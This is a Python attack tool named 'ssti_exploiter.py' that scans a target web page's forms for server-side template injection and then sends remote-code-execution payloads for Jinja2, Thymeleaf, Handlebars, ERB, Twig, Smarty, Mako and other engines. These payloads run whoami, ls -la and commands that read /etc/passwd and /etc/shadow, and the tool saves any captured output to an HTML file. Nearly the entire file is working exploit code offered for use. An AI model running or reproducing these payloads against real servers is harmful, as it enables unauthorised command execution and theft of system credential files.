ssti_exploiter.py

import requests
from bs4 import BeautifulSoup
import sys
from colorama import init, Fore, Style
from termcolor import colored
from urllib.parse import urljoin
import webbrowser
import os
import re

init(autoreset=True)  # Initialize colorama

def print_banner():
    banner_text = """
    ___   _____ __  _____    _   ______________
   /   | / ___// / / /   |  / | / / ____/_  __/
  / /| | \__ \/ /_/ / /| | /  |/ / __/   / /   
 / ___ |___/ / __  / ___ |/ /|  / /___  / /    
/_/  |_/____/_/ /_/_/  |_/_/ |_/_____/ /_/     
                                                 
    """
    
    # Colors for RGBW
    colors = ['red', 'green', 'blue', 'white']
    colored_banner = ""
    
    # Split banner into lines and apply colors
    for i, line in enumerate(banner_text.splitlines()):
        color = colors[i % len(colors)]
        colored_banner += colored(line, color) + "\n"
    
    print(colored_banner)
    print(Fore.WHITE + Style.BRIGHT + "Welcome to the SSTI Exploiter by Ashanet")

# List of payloads to test for SSTI for different engines
payloads = [
    # Jinja2, Tornado, Twig
    "{{7*7}}",
    "{{7*'7'}}",
    "{{7+7}}",
    "{{ '7'*7 }}",
    "{{ config }}",
    "{{ ''.__class__.__mro__[1].__subclasses__()[40]('id').read() }}",
    "{{ self._Module__dict__.keys() }}",
    "{{ request.__class__.mro()[1].__subclasses__()[40]('id').read() }}",
    
    # Velocity, Freemarker
    "${7*7}",
    "${'7'*7}",
    "${3+3}",
    "${'${7*7}'}",
    
    # Thymeleaf
    "#{7*7}",
    "#{7+7}",
    "#{ T(java.lang.Runtime).getRuntime().exec('whoami') }",
    
    # Handlebars
    "{{#with (lookup . 'constructor')}}{{constructor}}:{{/with}}",
    "{{constructor.constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()')()}}",
    
    # ERB (Embedded Ruby)
    "<%= 7*7 %>",
    "<%= `whoami` %>",
    
    # Mustache
    "{{#foo}}{{bar}}{{/foo}}",
    "{{#foo}}{{foo}}{{/foo}}",
    
    # Additional payloads
    # Jinja2 Advanced
    "{{ ''.__class__.__mro__[1].__subclasses__()[40]('whoami').read() }}",
    "{{ ''.__class__.__mro__[1].__subclasses__()[40]('whoami').read() }}",
    
    # Velocity/Freemarker Advanced
    "${ T(java.lang.Runtime).getRuntime().exec('whoami').text }",
    "${'${T(java.lang.Runtime).getRuntime().exec(\"whoami\").text}'}",
    
    # Thymeleaf Advanced
    "#{ T(java.lang.Runtime).getRuntime().exec('whoami').text }",
    
    # Handlebars Advanced
    "{{#with (lookup . 'constructor')}}{{constructor}}:{{/with}}",
    "{{#with (lookup . 'constructor')}}{{constructor}}:{{/with}}",
]

# Adding more payloads
code_payloads = [
    # Jinja2 RCE
    "{{ config.__class__.__mro__[1].__subclasses__()[40]('whoami').read() }}",
    "{{ ''.__class__.__mro__[1].__subclasses__()[40]('whoami').read() }}",
    "{{ ''.__class__.__mro__[1].__subclasses__()[40]('cat /etc/passwd').read() }}",
    "{{ ''.__class__.__mro__[1].__subclasses__()[40]('cat /etc/shadow').read() }}",
    "{{ ''.__class__.__mro__[1].__subclasses__()[40]('ls -la').read() }}",
    
    # Thymeleaf
    "#{ T(java.lang.Runtime).getRuntime().exec('whoami').text }",
    "#{ T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd').text }",
    "#{ T(java.lang.Runtime).getRuntime().exec('cat /etc/shadow').text }",
    "#{ T(java.lang.Runtime).getRuntime().exec('ls -la').text }",
    
    # ERB
    "<%= `whoami` %>",
    "<%= `cat /etc/passwd` %>",
    "<%= `cat /etc/shadow` %>",
    "<%= `ls -la` %>",
    
    # Velocity, Freemarker
    "${T(java.lang.Runtime).getRuntime().exec('whoami').text}",
    "${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd').text}",
    "${T(java.lang.Runtime).getRuntime().exec('cat /etc/shadow').text}",
    "${T(java.lang.Runtime).getRuntime().exec('ls -la').text}",
    
    # Handlebars
    "{{ constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()')() }}",
    "{{ constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"cat /etc/passwd\").toString()')() }}",
    "{{ constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"cat /etc/shadow\").toString()')() }}",
    "{{ constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"ls -la\").toString()')() }}",
    
    # Twig
    "{{ ['id']|filter('exec') }}",
    "{{ ['cat /etc/passwd']|filter('exec') }}",
    "{{ ['cat /etc/shadow']|filter('exec') }}",
    "{{ ['ls -la']|filter('exec') }}",
    
    # Smarty
    "{php}echo shell_exec('whoami');{/php}",
    "{php}echo shell_exec('cat /etc/passwd');{/php}",
    "{php}echo shell_exec('cat /etc/shadow');{/php}",
    "{php}echo shell_exec('ls -la');{/php}",
    
    # Mako
    "<% import os %><% os.system('whoami') %>",
    "<% import os %><% os.system('cat /etc/passwd') %>",
    "<% import os %><% os.system('cat /etc/shadow') %>",
    "<% import os %><% os.system('ls -la') %>",
]

def check_ssti(url):
    try:
        response = requests.get(url)
        response.raise_for_status()
    except requests.RequestException as e:
        print(Fore.RED + f"Error: Unable to access {url} - {e}")
        return False

    soup = BeautifulSoup(response.text, 'html.parser')
    forms = soup.find_all('form')

    if not forms:
        print(Fore.RED + "No forms found on the page.")
        return False

    vulnerable_forms = []

    for form in forms:
        action = form.get('action') or url
        action = urljoin(url, action)
        method = form.get('method', 'get').lower()
        inputs = form.find_all('input')
        data = {input.get('name'): payloads[0] for input in inputs if input.get('name')}

        for payload in payloads:
            print(Fore.YELLOW + f"Testing payload: {payload}")

            if method == 'post':
                response = requests.post(action, data=data)
            else:
                response = requests.get(action, params=data)

            if payload.replace('*', '') in response.text or payload.replace(' ', '') in response.text:
                print(Fore.GREEN + f"Vulnerable to SSTI with payload: {payload}")
                vulnerable_forms.append((action, method, data, payload))
    
    if not vulnerable_forms:
        print(Fore.RED + "No SSTI vulnerability found.")
        return False

    for (action, method, data, payload) in vulnerable_forms:
        if try_code_injection(action, method, data, payload):
            return True
    
    return False

def try_code_injection(url, method, data, payload):
    for code_payload in code_payloads:
        data = {key: code_payload if value == payload else value for key, value in data.items()}

        print(Fore.YELLOW + f"Trying code injection with payload: {code_payload}")

        if method == 'post':
            response = requests.post(url, data=data)
        else:
            response = requests.get(url, params=data)

        output = extract_output(response.text)
        if output:
            print(Fore.GREEN + "Successful code injection!")
            save_response_to_html(output)
            return True

    print(Fore.RED + "Code injection failed.")
    return False

def extract_output(response_text):
    # Simple extraction logic - this might need to be adjusted based on actual response structure
    output_pattern = re.compile(r"(uid=\d+\(.*?\).*?gid=\d+\(.*?\).*)")
    match = output_pattern.search(response_text)
    if match:
        return match.group(1)
    
    # Alternative extraction for whoami or hostname
    alternative_patterns = [
        re.compile(r"(whoami:.*)"),
        re.compile(r"(hostname:.*)"),
        re.compile(r"(root:x:0:0:.*)"),  # Extract lines from /etc/passwd
    ]
    for pattern in alternative_patterns:
        match = pattern.search(response_text)
        if match:
            return match.group(1)
    
    return None

def save_response_to_html(output):
    html_content = f"""
    <html>
    <head><title>SSTI Exploiter Output</title></head>
    <body>
    <h1>SSTI Exploiter Output</h1>
    <pre>{output}</pre>
    </body>
    </html>
    """
    file_path = "ssti_output.html"
    with open(file_path, "w", encoding="utf-8") as file:
        file.write(html_content)
    
    webbrowser.open('file://' + os.path.realpath(file_path))

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python ssti_exploiter.py <url>")
        sys.exit(1)

    print_banner()
    url = sys.argv[1]
    check_ssti(url)